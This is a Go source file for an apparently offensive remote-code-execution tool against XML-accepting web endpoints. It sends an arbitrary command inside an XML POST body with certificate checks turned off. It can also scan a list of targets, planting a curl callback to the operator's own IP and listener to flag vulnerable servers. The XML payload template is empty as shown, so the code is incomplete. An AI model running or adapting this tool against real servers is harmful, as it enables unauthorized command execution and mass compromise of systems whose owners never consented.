package main
import (
"fmt"
"strings"
"net/http"
"log"
"io/ioutil"
"flag"
"crypto/tls"
"os"
"bufio"
"net"
"time"
)
var httpClient = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
const (
curlCommand = "curl %s:%d/?t=%s"
checkIpEndpoint = "http://checkip.amazonaws.com"
stringNodeEnclosure = "%s"
xmlPayload =
``
)
// Builds the xml payload using the passed command
func buildXMLPayload(c string) string {
var t string
for _, p := range strings.Split(c, "\x20") {
t += fmt.Sprintf(stringNodeEnclosure, p)
}
return fmt.Sprintf(xmlPayload, t)
}
// Resolves the remote ip address of the current machine
func getMyExternalIp() string {
res, err := http.Get(checkIpEndpoint)
if err != nil {
log.Fatalln(err)
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatalln(err)
}
return strings.TrimRight(
string(body),
"\r\n",
)
}
// Starts a reverse listener
func startListener(port int, callback func(*http.Request)) {
http.HandleFunc("/", func(res http.ResponseWriter, req *http.Request) {
// Discards the response which is useless in this case and pass the
// request to our callback
callback(req)
})
server := &http.Server{}
listener, err := net.ListenTCP(
"tcp4",
&net.TCPAddr{
IP: net.IPv4(0, 0, 0, 0),
Port: port,
})
if err != nil {
log.Fatalln(err)
}
go server.Serve(listener)
}
func sendPayload(targetUrl string, payload string) {
req, err := http.NewRequest(http.MethodPost, targetUrl, strings.NewReader(payload))
if err != nil {
log.Fatalln(err)
}
//
req.Header.Set("content-type", "application/xml")
res, err := httpClient.Do(req)
if err != nil {
log.Fatalln(err)
}
res.Body.Close()
}
func checkTargetsFromFile(filename string, listenerPort int) {
file, err := os.Open(filename)
if err != nil {
log.Fatalln(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
// Starts the listener
startListener(listenerPort, func(req *http.Request) {
fmt.Println(req.URL.Query().Get("t") + " seems to be a vulnerable endpoint")
})
ip := getMyExternalIp()
for scanner.Scan() {
target := scanner.Text()
// Sends the payload
sendPayload(
target,
buildXMLPayload(
fmt.Sprintf(curlCommand, ip, listenerPort, target),
),
)
}
}
func isEmpty(s *string) bool {
return *s == ""
}
func main() {
urlPtr := flag.String("u", "", "target url")
commandPtr := flag.String("c", "", "command to be executed")
filePtr := flag.String("f", "", "file containing targets")
portPtr := flag.Int("p", 8080, "listener port")
flag.Parse()
if !isEmpty(urlPtr) && !isEmpty(commandPtr) {
// Sends a single request with the passed command
sendPayload(*urlPtr, buildXMLPayload(*commandPtr))
} else if !isEmpty(filePtr) {
// Reads a list of possible targets from a file and automatically
// check for RCE
checkTargetsFromFile(*filePtr, *portPtr)
// Waits some seconds before quitting to avoid false negative due
// to server latency. Hope to replace this workaround soon with some channels...
time.Sleep(10 * time.Second)
} else {
flag.Usage()
}
}